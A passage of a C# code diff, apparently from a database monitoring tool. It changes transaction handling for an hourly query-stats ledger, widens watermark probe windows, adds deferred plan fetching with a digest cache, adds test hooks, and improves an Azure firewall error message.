            transaction behind a savepoint (QueryStoreIntervalLatest). Its two wider reads, the coverage row's
            creation and the hourly gap check, run HERE, before the transaction, so nothing inside it reads raw
@@ -4110,15 +4507,17 @@ connection and the backfill are all covered here and nowhere else. */
         var fencedServerId = queryStoreDatabases is not null ? server.ServerId : (int?)null;
         if (fencedServerId is { } beginServerId)
         {
-            _queryStoreWriteFence?.BeginWrite(beginServerId);
+            _queryStoreWriteFence?.BeginWrite(beginServerId, queryStoreDatabases);
         }
 
         var fenceSucceeded = false;
         try
         {
-            /* Only the diverting collectors and Query Store (#3953) need a transaction; everything else keeps the
-               pre-#1767 single-COPY commit and pays nothing. */
-            await using var transaction = diversionPlan.Count > 0 || queryStoreDatabases is not null
+            /* Only the diverting collectors, Query Store (#3953) and the ledger's query_stats batches (#4605) need a
+               transaction; everything else keeps the pre-#1767 single-COPY commit and pays nothing. query_stats diverts
+               its text and plans today, so the ledger term does not add a transaction; it is named so that the ledger
+               upsert can never be left without the transaction its atomicity with the COPY depends on. */
+            await using var transaction = diversionPlan.Count > 0 || queryStoreDatabases is not null || ledgerBatch
                 ? await pgConnection.BeginTransactionAsync(cancellationToken)
                 : null;
 
@@ -4139,7 +4538,8 @@ handler upstream can tell a start-phase failure from a data-phase one. Both rend
                Start until Begin returns, and the transition sits INSIDE the block for that reason: Start has to
                mean strictly "the importer never came back", because that is the state whose two properties a
                consumer relies on — no row started, so a COPY ... FROM STDIN cannot have committed, and no
-               delta baseline moved, since CollectorDeltaCalculator advances inside WritePayload below. A
+               delta baseline moved for a row whose counters moved, since CollectorDeltaCalculator advances inside
+               WritePayload below (procedure_stats' idle skip advances unchanged counters at read time: lossless, #5449). A
                fault anywhere past this line forfeits both, so it must read as Data even where it happens to
                have sent nothing. The unsafe mislabel is the one that would report Start for a fault that had
                already sent rows; this ordering makes that unreachable rather than unlikely.
@@ -4194,6 +4594,14 @@ and why both take the same constant. */
                         rowsWritten++;
                     }
 
+                    /* #4605: every row must have written the interval as an integer for the tally to be the batch's
+                       count. A definition that moved the column to another overload would leave rows untallied, and an
+                       undercounted ledger is silent: fail the batch here instead, before the COPY completes. */
+                    if (ledgerBatch)
+                    {
+                        QueryStatsHourLedgerWriter.EnsureEveryRowTallied(definition.Name, rowsWritten, writer.CountedWrites);
+                    }
+
                     await importer.CompleteAsync(cancellationToken);
                 }
             }
@@ -4233,9 +4641,39 @@ able to read a shutdown as a recoverable start-phase stall. */
             {
                 if (diversionPlan.Count > 0)
                 {
-                    await PayloadDimensionWriter.FlushAsync(
+                    var absentDigests = await PayloadDimensionWriter.FlushAsync(
                         pgConnection, transaction, dimensions, storedCollectionTime, cancellationToken,
                         compressPlanContent: _compressPlanContent());
+
+                    /* #5158: digests this batch referenced without content that the store holds no plan for. The host
+                       forgets them so the next sighting renders the plan again. FlushAsync reports upper-case hex and
+                       Evict compares ignoring case. */
+                    if (absentDigests.Count > 0
+                        && definition is QueryStatsCollector
+                        && _queryStatsPlanCaches.TryGetValue(server.ServerId, out var absentCache))
+                    {
+                        absentCache.Evict(absentDigests);
+                    }
+
+                    if (absentDigests.Count > 0
+                        && definition is ProcedureStatsCollector
+                        && _procedureStatsPlanCaches.TryGetValue(server.ServerId, out var absentProcedureCache))
+                    {
+                        absentProcedureCache.Evict(absentDigests);
+                    }
+                }
+
+                /* #4605: the batch's count joins the hourly ledger on THIS transaction, after the COPY and the dimension
+                   flush and before the commit, so raw and the ledger commit together or not at all. No savepoint and no
+                   catch, deliberately: a fault here throws out of the batch, the transaction rolls back and the batch's
+                   rows are not stored, because rows the ledger never counted would make it smaller than the rollup. It
+                   sits in the unstamped region (#3095), so it is never re-attempted; the collector's next cycle is the
+                   retry. A count of 0 (a batch of restart rows only) writes nothing: the rollup has no row for that hour. */
+                if (ledgerBatch)
+                {
+                    await QueryStatsHourLedgerWriter.AddBatchAsync(
+                        pgConnection, transaction, server.ServerId, server.StorageName, storedCollectionTime,
+                        writer.NonZeroCounted, ServiceCommandDeadlines.CollectionSweepSeconds, cancellationToken);
                 }
 
                 /* #3953: after the COPY and the dimension flush, in the unstamped region (#3095): a fault here is not
@@ -4500,9 +4938,12 @@ definition.WatermarkColumn is not null
                the caller's own clamp rather than a second round trip. Every OTHER caller passes null, which
                used to mean "read every chunk in retention, every cycle" — the ring-buffer cost #4197
                measures. It now means WatermarkPolicy.RecentWatermarkWindow's probe-then-confirm: bound on
-               the SAME partitioning column first (chunk exclusion prunes everything older), and only on a
-               miss fall back to the true unbounded MAX below. The value is identical either way — see
-               RecentWatermarkWindow's remarks for why a hit can never differ from the unbounded answer. */
+               the SAME partitioning column first (chunk exclusion prunes everything older), then, on a miss,
+               the week before it (#5515), and only on a second miss fall back to the true unbounded MAX below. A
+               hit is never NEWER than the unbounded answer, and equals it whenever the column rises with
+               collection_time (instance_id, event_time); see WatermarkPolicy.RecentWatermarkWindow's remarks. For
+               job_history's run_datetime, which does not, a hit can be OLDER than the unbounded MAX, which only
+               widens the caller's re-read; its natural-key dedupe drops the repeats. */
             var autoWindow = collectedSince is null;
             var bound = collectedSince ?? DateTime.UtcNow - WatermarkPolicy.RecentWatermarkWindow;
 
@@ -4524,10 +4965,25 @@ timestamptz and Postgres would convert it into the session zone on the way in. *
 
             if (autoWindow)
             {
-                /* The probe found no row in the window — a gap wider than RecentWatermarkWindow, or a
-                   genuinely empty table. Either way only the true unbounded MAX answers correctly; a null
-                   here would read as first-run, which is not scoped to the window the way it is for
-                   query_store's clamped callers. */
+                /* #5515: the probe found no row in RecentWatermarkWindow, which is every cycle's answer for a
+                   quiet server (no job run or trace event for hours). Before the whole slice, try the week:
+                   the SAME bounded statement with an older bound, so the chunks of seven days answer a server
+                   whose newest row is that recent, where the unbounded MAX opened every chunk in retention,
+                   compressed ones included (5,426 blocks a call on job_history). */
+                using var widened = new NpgsqlCommand(sql, connection);
+                widened.CommandTimeout = CommandTimeoutSeconds;
+                widened.Parameters.AddWithValue(serverId);
+                widened.Parameters.AddWithValue(DateTime.SpecifyKind(
+                    DateTime.UtcNow - WatermarkPolicy.WidenedWatermarkWindow, DateTimeKind.Unspecified));
+                var widenedResult = await widened.ExecuteScalarAsync(cancellationToken);
+                if (widenedResult is DateTime widenedDt)
+                {
+                    return widenedDt;
+                }
+
+                /* Still no row: a gap wider than the week, or a genuinely empty table. Either way only the true
+                   unbounded MAX answers correctly; a null here would read as first-run, which is not scoped to
+                   the window the way it is for query_store's clamped callers. */
                 using var fallback = new NpgsqlCommand(BuildServerWatermarkSql(tableName, columnName, bounded: false), connection);
                 fallback.CommandTimeout = CommandTimeoutSeconds;
                 fallback.Parameters.AddWithValue(serverId);
@@ -4591,8 +5047,8 @@ normal stop. */
 
             /* #4197: same probe-then-confirm as the sibling above — see its remarks. collectedSince
                non-null (query_store's clamped floor) is unchanged; null now means "bound to
-               RecentWatermarkWindow, fall back to the true unbounded pair only on a miss" instead of
-               "always unbounded". */
+               RecentWatermarkWindow, then WidenedWatermarkWindow (#5515), fall back to the true unbounded pair
+               only on a second miss" instead of "always unbounded". */
             var autoWindow = collectedSince is null;
             var bound = collectedSince ?? DateTime.UtcNow - WatermarkPolicy.RecentWatermarkWindow;
 
@@ -4622,7 +5078,31 @@ timestamptz and Postgres would convert it into the session zone on the way in. *
 
             if (autoWindow)
             {
-                /* Neither column had a row in the window — fall back to the true unbounded pair, the
+                /* #5515: neither column had a row in RecentWatermarkWindow — try the week first, the sibling's
+                   second rung, so a quiet server's pair read is answered by seven days of chunks instead of
+                   every chunk in retention. The same bounded statement with an older bound. */
+                using (var widened = new NpgsqlCommand(sql, connection))
+                {
+                    widened.CommandTimeout = CommandTimeoutSeconds;
+                    widened.Parameters.AddWithValue(serverId);
+                    widened.Parameters.AddWithValue(DateTime.SpecifyKind(
+                        DateTime.UtcNow - WatermarkPolicy.WidenedWatermarkWindow, DateTimeKind.Unspecified));
+                    using var widenedReader = await widened.ExecuteReaderAsync(cancellationToken);
+                    if (await widenedReader.ReadAsync(cancellationToken))
+                    {
+                        if (!widenedReader.IsDBNull(0))
+                        {
+                            return (widenedReader.GetDateTime(0), true);
+                        }
+
+                        if (!widenedReader.IsDBNull(1))
+                        {
+                            return (widenedReader.GetDateTime(1), false);
+                        }
+                    }
+                }
+
+                /* Neither column had a row in the week — fall back to the true unbounded pair, the
                    sibling's exact reasoning: this is not query_store's clamped path, so a miss here is not
                    necessarily a first run. */
                 using var fallback = new NpgsqlCommand(
@@ -4959,6 +5439,8 @@ private static void ClearFetchPhaseStamps(CollectorContext context)
     {
         context.PerItemPlanFetchMs = 0;
         context.PerItemTextFetchMs = 0;
+        context.PerItemPlanRenderedRows = 0;
+        context.PerItemPlanRenderedBytes = 0;
 
         /* #2811: the sub-phases clear on the SAME rule as their parents, and for the same
            reason - an item whose fetch faults before setting them must not print the previous
@@ -5350,8 +5832,11 @@ chunk count are stamped here too so the per-id cost stays computable on a failed
                 IReadOnlyList<long> landed;
                 try
                 {
+                    /* #4348: the cycle's statement-filter session, so the writer's counters join the cycle's
+                       statement_scrub_* measurements. The writer drops a row the session could not judge. */
                     landed = await QueryStorePlanWriter.WriteAsync(
-                        storeConnection, server.ServerId, databaseName, fetched, context.CollectionTime, itemTimeout, cancellationToken);
+                        storeConnection, server.ServerId, databaseName, fetched, context.CollectionTime, itemTimeout, context.BeginStatementScrub(),
+                        cancellationToken);
                 }
                 finally
                 {
@@ -5712,8 +6197,11 @@ the byte budget bounds it and the whole missing set is normally attempted. That
                 IReadOnlyList<long> landed;
                 try
                 {
+                    /* #4348: the cycle's statement-filter session, so the writer's counters join the cycle's
+                       statement_scrub_* measurements. The writer drops a row the session could not judge. */
                     landed = await QueryStoreTextWriter.WriteAsync(
-                        storeConnection, server.ServerId, databaseName, fetched, context.CollectionTime, itemTimeout, cancellationToken);
+                        storeConnection, server.ServerId, databaseName, fetched, context.CollectionTime, itemTimeout, context.BeginStatementScrub(),
+                        cancellationToken);
                 }
                 finally
                 {
@@ -6299,8 +6787,9 @@ because the commit may be unknown after a fault. */
             await using var connection = await _postgres.OpenConnectionAsync(cancellationToken);
 
             /* #4197: same probe-then-confirm as the server-scoped twins. collectedSince non-null (Azure
-               SQL DB's query_store clamp) is unchanged; null now bounds to RecentWatermarkWindow first and
-               falls back to the true unbounded read only on a miss, instead of skipping straight to it. */
+               SQL DB's query_store clamp) is unchanged; null now bounds to RecentWatermarkWindow first, then
+               (#5515) to WidenedWatermarkWindow, and falls back to the true unbounded read only on a second
+               miss, instead of skipping straight to it. */
             var autoWindow = collectedSince is null;
             var bound = collectedSince ?? DateTime.UtcNow - WatermarkPolicy.RecentWatermarkWindow;
 
@@ -6324,6 +6813,23 @@ timestamptz and Postgres would convert it into the session zone on the way in. *
 
             if (autoWindow)
             {
+                /* #5515: the same second rung as the server-scoped twin. A database whose newest row is days old
+                   (a quiet Azure database's last deadlock or blocked-process report) missed the 6 h probe on
+                   every cycle and paid the unbounded read each time, per database; the week answers it. */
+                using (var widened = new NpgsqlCommand(sql, connection))
+                {
+                    widened.CommandTimeout = CommandTimeoutSeconds;
+                    widened.Parameters.AddWithValue(serverId);
+                    widened.Parameters.AddWithValue(databaseName);
+                    widened.Parameters.AddWithValue(DateTime.SpecifyKind(
+                        DateTime.UtcNow - WatermarkPolicy.WidenedWatermarkWindow, DateTimeKind.Unspecified));
+                    var widenedResult = await widened.ExecuteScalarAsync(cancellationToken);
+                    if (widenedResult is DateTime widenedDt)
+                    {
+                        return (widenedDt, true);
+                    }
+                }
+
                 using var fallback = new NpgsqlCommand(
                     BuildServerWatermarkForDatabaseSql(tableName, columnName, databaseColumnName, bounded: false), connection);
                 fallback.CommandTimeout = CommandTimeoutSeconds;
@@ -6429,6 +6935,22 @@ timestamptz and Postgres would convert it into the session zone on the way in. *
                 }
             }
 
+            /* #5515: the week between the recent window and the whole slice, as in GetLastCollectedTimeAsync. The
+               same bounded statement with an older bound. */
+            using (var widened = new NpgsqlCommand(
+                BuildServerWatermarkInstanceIdSql(tableName, columnName, bounded: true), connection))
+            {
+                widened.CommandTimeout = CommandTimeoutSeconds;
+                widened.Parameters.AddWithValue(serverId);
+                widened.Parameters.AddWithValue(DateTime.SpecifyKind(
+                    DateTime.UtcNow - WatermarkPolicy.WidenedWatermarkWindow, DateTimeKind.Unspecified));
+                var widenedResult = await widened.ExecuteScalarAsync(cancellationToken);
+                if (widenedResult is not null && widenedResult != DBNull.Value)
+                {
+                    return Convert.ToInt64(widenedResult);
+                }
+            }
+
             using (var fallback = new NpgsqlCommand(
                 BuildServerWatermarkInstanceIdSql(tableName, columnName, bounded: false), connection))
             {
@@ -6505,14 +7027,118 @@ real watermark may have moved by means this cache never saw (a re-add under the
            reaches this same path — see the remarks on ServerWatermarkCache.InvalidateServer). */
         _watermarkCache.InvalidateServer(serverId);
         _databaseWatermarkCache.InvalidateServer(serverId);
+
+        /* #4961: the legacy session's record is read again at the next full pass, and the line about an older install's
+           session is logged again, once per connect. */
+        _legacyLongQuery?.OnServerReconnected(serverId);
     }
 
+    /// <summary>
+    /// The choice this install has made for each deadlock and blocked-process session in each Azure SQL Database it monitors
+    /// (#4961): the shared session, or its own. The ensure sets it and the per-database read takes its name from it. In
+    /// memory only: a restart starts every database at the shared session, and the first ensure sets it again.
+    /// </summary>
+    internal AlwaysOnXeChoices AlwaysOnChoices { get; } = new();
+
+    /// <summary>This install's own session of the capture, or null when the runner has no install id to make it from.</summary>
+    internal string? AlwaysOnOwnSessionName(AlwaysOnXeSessionKind kind) =>
+        AlwaysOnXeSessions.TryOwnNameFor(LongQueryCompletionsCollector.DarlingProduct, InstallId, kind);
+
+    /// <summary>
+    /// The session a read of the capture names in one Azure SQL Database: this install's own when the ensure fell back to it
+    /// there, else the shared name.
+    /// </summary>
+    internal string AlwaysOnReadSessionName(ServerRuntime server, string databaseName, AlwaysOnXeSessionKind kind) =>
+        AlwaysOnChoices.NameFor(DarlingAlwaysOnXeSessions.ServerKey(server), databaseName, kind, AlwaysOnOwnSessionName(kind));
+
+    /// <summary>
+    /// Replaces the connection to one Azure SQL Database for the always-on sessions' ensure: the server and the database. The
+    /// ensure's decisions then run against what it returns, in place of a server. Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, CancellationToken, Task<IAlwaysOnXeDatabase>>? AlwaysOnXeDatabaseForTests { get; set; }
+
+    /// <summary>
+    /// A test replaces each connection the always-on sessions' ensure would open to one Azure SQL Database, below
+    /// <see cref="AlwaysOnXeDatabaseForTests"/> (which wins when both are set): the server, the database, and the connection
+    /// string the open would use, so a test sees whether each statement goes over a connection with read-only intent (#4961).
+    /// Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, string, CancellationToken, Task<IAlwaysOnXeDatabase>>? AlwaysOnXeConnectionForTests { get; set; }
+
+    /// <summary>
+    /// Replaces the whole always-on ensure of one server, which otherwise opens a connection to it: a test counts the calls.
+    /// Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, CancellationToken, Task>? XeEnsureOverrideForTests { get; set; }
+
     /// <summary>Replaces the engine target provider resolved for a run. Null in production.</summary>
     internal Func<CollectorTargetInfo, ITargetProvider>? TargetProviderOverrideForTests { get; set; }
 
     /// <summary>Replaces the Azure per-database list. Null in production.</summary>
     internal Func<ServerRuntime, CancellationToken, Task<List<string>>>? AzureDatabaseListOverrideForTests { get; set; }
 
+    /// <summary>
+    /// Replaces the database list the long-query trace reads on Azure SQL Database. Called with <c>allDatabases</c> true
+    /// for every online database, false for the monitored ones narrowed by the given database scope. Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, bool, IReadOnlyList<string>?, CancellationToken, Task<List<string>>>? LongQueryTraceListOverrideForTests { get; set; }
+
+    /// <summary>
+    /// Replaces the long-query trace's work in one Azure SQL Database database: called with <c>create</c> true to create
+    /// the session there, false to drop it. Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, bool, string, CancellationToken, Task>? LongQueryTraceDatabaseOverrideForTests { get; set; }
+
+    /// <summary>
+    /// Replaces where the one-time legacy drop keeps its record (<see cref="ILegacyLongQueryRecords"/>), so a test that never
+    /// opens the store has one. Set before the first reconcile. Null in production.
+    /// </summary>
+    internal ILegacyLongQueryRecords? LegacyLongQueryRecordsForTests { get; set; }
+
+    private DarlingLegacyLongQuerySession? _legacyLongQuery;
+
+    /// <summary>
+    /// The one-time drop of the long-query session older versions shared between installs, and what it remembers of its
+    /// record for each registration (#4961). Built on first use, over the store.
+    /// </summary>
+    internal DarlingLegacyLongQuerySession LegacyLongQuery =>
+        LazyInitializer.EnsureInitialized(ref _legacyLongQuery, () => new DarlingLegacyLongQuerySession(LegacyLongQueryRecordsForTests ?? new StoreLegacyLongQueryRecords(_postgres)))!;
+
+    /// <summary>
+    /// Replaces the question the create path asks in the same batch as its existence check: whether the legacy session is in
+    /// the database (the empty name is the server). Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, CancellationToken, Task<bool>>? LegacyLongQueryPresentForTests { get; set; }
+
+    /// <summary>
+    /// Replaces one open-and-act step of the long-query trace's create, below
+    /// <see cref="LongQueryTraceDatabaseOverrideForTests"/>, which wins when both are set (#4961). Called with the server,
+    /// the database (empty for the server's own session), the connection string the step would open, the step, and the
+    /// session name. A test sees which connection each step uses, with or without read-only intent. The step's work is
+    /// not done. Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, string, LongQueryTraceStep, string, CancellationToken, Task>? LongQueryTraceStepOverrideForTests { get; set; }
+
+    /// <summary>
+    /// Replaces what the read-only-intent ensure's <see cref="LongQueryTraceStep.Check"/> reads on the replica, with
+    /// <see cref="LongQueryTraceStepOverrideForTests"/> set (#4961): called with the server and the database, answers whether the
+    /// session's definition is visible and whether it runs there. Unset, the stand-in finds neither, as in a database that has
+    /// never had the session. Null in production.
+    /// </summary>
+    internal Func<ServerRuntime, string, LongQueryTraceReplicaState>? LongQueryTraceReplicaStateForTests { get; set; }
+
+    /// <summary>
+    /// The databases the long-query trace works in on Azure SQL Database. With <paramref name="allDatabases"/>, every
+    /// online database with no exclusions and no scope; otherwise the monitored ones, narrowed by
+    /// <paramref name="databaseScope"/>. A registration that names a database gets that database either way.
+    /// </summary>
+    internal async Task<List<string>> ListLongQueryTraceDatabasesAsync(ServerRuntime server, bool allDatabases, IReadOnlyList<string>? databaseScope, CancellationToken cancellationToken) =>
+        LongQueryTraceListOverrideForTests is { } listOverride
+            ? await listOverride(server, allDatabases, allDatabases ? null : databaseScope, cancellationToken)
+            : allDatabases
+                ? await GetAzureDatabaseListAsync(server, databaseScope: null, applyExclusions: false, cancellationToken)
+                : await GetAzureDatabaseListAsync(server, databaseScope, cancellationToken);
+
     /// <summary>Called with the database name just before its batch is written, inside the loop's try. Null in production.</summary>
     internal Action<string>? PerDatabaseWriteFaultForTests { get; set; }
 
@@ -6534,7 +7160,15 @@ real watermark may have moved by means this cache never saw (a re-add under the
     /// server into whichever registration ran the sweep — N registrations of N databases meant N² collection
     /// with every registration's history contaminated by its siblings'.</para>
     /// </summary>
-    internal async Task<List<string>> GetAzureDatabaseListAsync(ServerRuntime server, IReadOnlyList<string>? databaseScope, CancellationToken cancellationToken)
+    internal Task<List<string>> GetAzureDatabaseListAsync(ServerRuntime server, IReadOnlyList<string>? databaseScope, CancellationToken cancellationToken) =>
+        GetAzureDatabaseListAsync(server, databaseScope, applyExclusions: true, cancellationToken);
+
+    /// <summary>
+    /// <see cref="GetAzureDatabaseListAsync(ServerRuntime, IReadOnlyList{string}, CancellationToken)"/>, with a choice about the
+    /// server's excluded databases. The long-query trace's drop passes <paramref name="applyExclusions"/> false: a session
+    /// created before a database was excluded must still be dropped there.
+    /// </summary>
+    internal async Task<List<string>> GetAzureDatabaseListAsync(ServerRuntime server, IReadOnlyList<string>? databaseScope, bool applyExclusions, CancellationToken cancellationToken)
     {
         var targetDb = new SqlConnectionStringBuilder(server.ConnectionString).InitialCatalog;
 
@@ -6576,8 +7210,7 @@ every cycle is the cheaper failure. (Review caught me reintroducing exactly this
         /* The query and the hop to master both come from the provider, so the enumeration set is defined
            in exactly one place per engine. What stays here is the failure policy below, which is the
            part that is genuinely Azure-specific. */
-        var (masterConnectionString, enumerationQuery) = SqlServerTargetProvider.Instance.BuildDatabaseListPlan(
-            server.ConnectionString, server.Config.ExcludedDatabases, databaseScope);
+        var (masterConnectionString, enumerationQuery) = AzureDatabaseListPlan(server, databaseScope, applyExclusions);
 
         var databases = new List<string>();
         try
@@ -6604,6 +7237,17 @@ mapping as every other command so a type cannot be mapped two ways. */
         }
     }
 
+    /// <summary>
+    /// The master hop and the enumeration query behind <see cref="GetAzureDatabaseListAsync(ServerRuntime, IReadOnlyList{string}, bool, CancellationToken)"/>.
+    /// The server's excluded databases are in the query only when <paramref name="applyExclusions"/> is true, so a drop that
+    /// passes false lists the databases the registration excludes too. Its own member so a test reads the query, not a stand-in
+    /// for the list.
+    /// </summary>
+    internal static (string ConnectionString, CollectorQuery Query) AzureDatabaseListPlan(
+        ServerRuntime server, IReadOnlyList<string>? databaseScope, bool applyExclusions) =>
+        SqlServerTargetProvider.Instance.BuildDatabaseListPlan(
+            server.ConnectionString, applyExclusions ? server.Config.ExcludedDatabases : null, databaseScope);
+
     /// <summary>
     /// True while a recent master-inaccessible verdict still stands. It expires so a server whose
     /// access was restored recovers on its own rather than staying degraded until restart (#1506).
@@ -6635,16 +7279,22 @@ private bool IsMasterProbeThrottled(int serverId)
     /// Set on the throttled path, which runs for every database-scoped collector on every cycle. Only
     /// forming the verdict is worth an Information line; re-reading it is not.
     /// </param>
-    private List<string> FallbackDatabaseList(ServerRuntime server, string? targetDb, string reason, bool quiet = false)
+    internal List<string> FallbackDatabaseList(ServerRuntime server, string? targetDb, string reason, bool quiet = false)
     {
         var fallback = SingleDbOrEmpty(targetDb);
 
         if (fallback.Count == 0)
         {
+            /* #5498: the firewall comes first. 40615 means the server's firewall did not allow the client's IP
+               address, which a server-level block causes; a missing database setting never does. The
+               set-a-database advice is only the fix for the master-only case (a login allowed into a user
+               database but not master). Text only: the fallback itself is unchanged. */
             throw new InvalidOperationException(
                 $"{reason}, and this connection has no target database to fall back to (it resolves to " +
-                $"master). Set a database for '{server.Config.DisplayName}' so database-scoped collectors " +
-                $"have something to read.");
+                $"master). If the error is 40615, the Azure firewall did not allow this client's IP address: " +
+                $"add a firewall rule for it, either a server-level rule or a database-level rule in master. If this login can open " +
+                $"a user database but not master, set a database for '{server.Config.DisplayName}' so " +
+                $"database-scoped collectors have something to read.");
         }
 
         if (quiet)
@@ -6665,6 +7315,368 @@ internal async Task<SqlConnection> OpenAzureDatabaseConnectionAsync(ServerRuntim
         => (SqlConnection)await OpenDatabaseConnectionAsync(
             SqlServerTargetProvider.Instance, server, databaseName, cancellationToken);
 
+    /// <summary>
+    /// #5158: the second half of a deferred query_stats read. The main query returned stats rows with no plan; this
+    /// gives each row its plan, rendering on the monitored server only the plans this host has not already committed.
+    ///
+    /// <para>A row whose identity (<see cref="QueryStatsPlanKey"/>) is in the host's cache carries the cached digest and
+    /// measured size, so the writer stores the digest and no plan text crosses the wire. A plan over the capture cap
+    /// is cached with a null digest: its rows carry the size and a NULL plan, and it is not rendered again. The
+    /// rest go to <see cref="QueryStatsCollector.BuildPlanFetchQuery"/>, one call (split above
+    /// <see cref="QueryStatsCollector.MaxPlanFetchKeys"/> keys), on the same connection as the main read. A plan
+    /// whose handle aged out between the two queries comes back with no plan and no size, the pairing the inline form
+    /// gives for the same case, and is not cached.</para>
+    ///
+    /// <para>A fetch that fails ships the rows without plans and does not fail the run: the plans not yet fetched
+    /// are fetched again next cycle. A chunk that fails keeps what the chunks before it already rendered (those
+    /// rows carry their plans, and their keys are returned as pending like any other); it caches nothing for the
+    /// failed chunk or any after it. A stop or the item budget expiring is not a fetch failure and propagates.
+    /// What this run rendered is returned as pending keys: they are confirmed after the batch commits, or discarded.</para>
+    ///
+    /// <para><b>Timing.</b> The fetch loop runs after the main read, inside the same <c>sql:</c> slice but outside
+    /// the drain, so it has its own stopwatch: <see cref="CollectorContext.PerItemPlanFetchMs"/> and the
+    /// <c>plan_fetch_ms</c> measurement carry it, beside <c>plans_rendered</c> and <c>plans_rendered_bytes</c>, which are
+    /// rendered from <see cref="CollectorContext.PerItemPlanRenderedRows"/> and
+    /// <see cref="CollectorContext.PerItemPlanRenderedBytes"/>. A run with misses records the loop's elapsed
+    /// milliseconds; a run with none records 0, because it ran no fetch.</para>
+    ///
+    /// <para><b>Accepted race.</b> A statement recompile between the main query and this fetch can render the new
+    /// plan and store its digest under the old identity (<c>creation_time</c>, <c>plan_generation_num</c>). That
+    /// pairing is wrong for that one run's row only: the old identity leaves <c>dm_exec_query_stats</c> with the
+    /// recompile, so nothing reads it again, and the cache prunes it after an hour. The inline form has the same
+    /// race in a smaller window.</para>
+    /// </summary>
+    private async Task<List<QueryStatsPlanKey>> FetchDeferredQueryStatsPlansAsync(
+        ITargetProvider provider,
+        DbConnection targetConnection,
+        ServerRuntime server,
+        CollectorContext context,
+        List<QueryStatsCollector.Row> rows,
+        CancellationToken cancellationToken)
+    {
+        var cache = _queryStatsPlanCaches.GetOrAdd(server.ServerId, static _ => new PlanDigestCache<QueryStatsPlanKey>());
+        var pending = new List<QueryStatsPlanKey>();
+        var now = DateTime.UtcNow;
+
+        cache.Prune(now - QueryStatsPlanCacheMaxAge);
+
+        var misses = new List<(QueryStatsPlanKey Key, QueryStatsCollector.Row Row)>();
+        foreach (var row in rows)
+        {
+            if (QueryStatsPlanKey.TryCreate(server.ServerId, row) is not { } key)
+            {
+                continue;
+            }
+
+            if (cache.TryGet(key, now, out var hit))
+            {
+                /* The cached size rides along with the digest, so a reused row is the row it always was. A null
+                   digest is an over-cap plan: the size and no plan, the pairing the inline capture produces. */
+                row.KnownPlanDigest = hit.Digest;
+                row.QueryPlanXmlBytes = hit.Bytes;
+            }
+            else
+            {
+                misses.Add((key, row));
+            }
+        }
+
+        if (BetweenPlanPhasesForTests is { } hook)
+        {
+            await hook(cancellationToken);
+        }
+
+        var renderedRows = 0;
+        long renderedBytes = 0;
+        var fetchWatch = Stopwatch.StartNew();
+        if (misses.Count == 0)
+        {
+            /* Nothing to render: no fetch ran, so the stamps read 0 and the measurements say so. */
+            fetchWatch.Stop();
+            StampPlanFetch(context, 0, 0, 0);
+            return pending;
+        }
+
+        try
+        {
+            for (var offset = 0; offset < misses.Count; offset += QueryStatsCollector.MaxPlanFetchKeys)
+            {
+                var chunk = misses.GetRange(offset, Math.Min(QueryStatsCollector.MaxPlanFetchKeys, misses.Count - offset));
+                var query = QueryStatsCollector.BuildPlanFetchQuery(context, chunk.ConvertAll(m => m.Key.ToFetchKey()));
+
+                Dictionary<int, (string? PlanXml, long? Bytes)> fetched;
+                var unjudged = new HashSet<int>();
+                using (var command = CreateCollectorCommand(provider, query, targetConnection, CommandTimeoutSeconds))
+                using (var planReader = await command.ExecuteReaderAsync(cancellationToken))
+                {
+                    /* #4348: one filter session per fetch call; the digest below is taken from the FILTERED plan. */
+                    fetched = await QueryStatsCollector.ReadPlanFetchAsync(planReader, context.BeginStatementScrub(), cancellationToken, unjudged);
+                }
+
+                foreach (var (ord, result) in fetched)
+                {
+                    var (key, row) = chunk[ord];
+                    if (result.PlanXml is null && result.Bytes is null)
+                    {
+                        /* Aged out between the two queries: no plan and no size, and nothing worth caching. */
+                        continue;
+                    }
+
+                    row.QueryPlanXmlBytes = result.Bytes;
+                    renderedRows++;
+                    renderedBytes += result.Bytes ?? 0;
+
+                    if (result.PlanXml is null)
+                    {
+                        /* Over the cap: the size, a NULL plan, and an entry that stops the next run rendering it again. */
+                        cache.AddPending(key, null, result.Bytes, now);
+                    }
+                    else if (unjudged.Contains(ord))
+                    {
+                        /* #4348: the filter's budget ran out before or during this plan. This row stores the marker; nothing
+                           is cached and nothing is pending, so the next cycle fetches and filters the plan again with a
+                           fresh budget instead of answering from a cached marker digest. A plan withheld whole for its own
+                           sake (its judge threw, it cannot be parsed) is not in this set: it fails the same way every
+                           cycle, so it is recorded like any fetched plan and the next cycle's dedup sees it (A-L4). */
+                        row.QueryPlanXml = result.PlanXml;
+                        continue;
+                    }
+                    else
+                    {
+                        row.QueryPlanXml = result.PlanXml;
+                        var digest = Convert.ToHexString(
+                            PayloadDimensions.Digest(PgCollectorRowWriter.StripEmbeddedNuls(result.PlanXml)));
+                        cache.AddPending(key, digest, result.Bytes, now);
+                    }
+
+                    pending.Add(key);
+                }
+            }
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException and not OutOfMemoryException
+                                   && !cancellationToken.IsCancellationRequested)
+        {
+            _logger?.LogWarning(
+                ex,
+                "{Collector} on '{Server}': the plan fetch failed, so this run's rows ship without plans for the plans not yet stored; they are fetched again next cycle (#5158).",
+                QueryStatsCollector.Instance.Name, server.Config.DisplayName);
+        }
+        finally
+        {
+            fetchWatch.Stop();
+            StampPlanFetch(context, renderedRows, renderedBytes, fetchWatch.ElapsedMilliseconds);
+        }
+
+        return pending;
+    }
+
+    /// <summary>
+    /// #5158: records one deferred fetch on the context, then renders the run's measurements FROM the context, so the
+    /// stamp is the single source and the collection_log note only reads it. <c>PerItemPlanFetchMs</c> is "inside
+    /// <c>sql:</c>, not drain"; a procedure_stats change that shares these names will stamp the same fields.
+    /// </summary>
+    internal static void StampPlanFetch(CollectorContext context, int renderedRows, long renderedBytes, long fetchMs)
+    {
+        context.PerItemPlanRenderedRows = renderedRows;
+        context.PerItemPlanRenderedBytes = renderedBytes;
+        context.PerItemPlanFetchMs = fetchMs;
+        context.Measure("plans_rendered", context.PerItemPlanRenderedRows);
+        context.Measure("plans_rendered_bytes", context.PerItemPlanRenderedBytes);
+        context.Measure("plan_fetch_ms", context.PerItemPlanFetchMs);
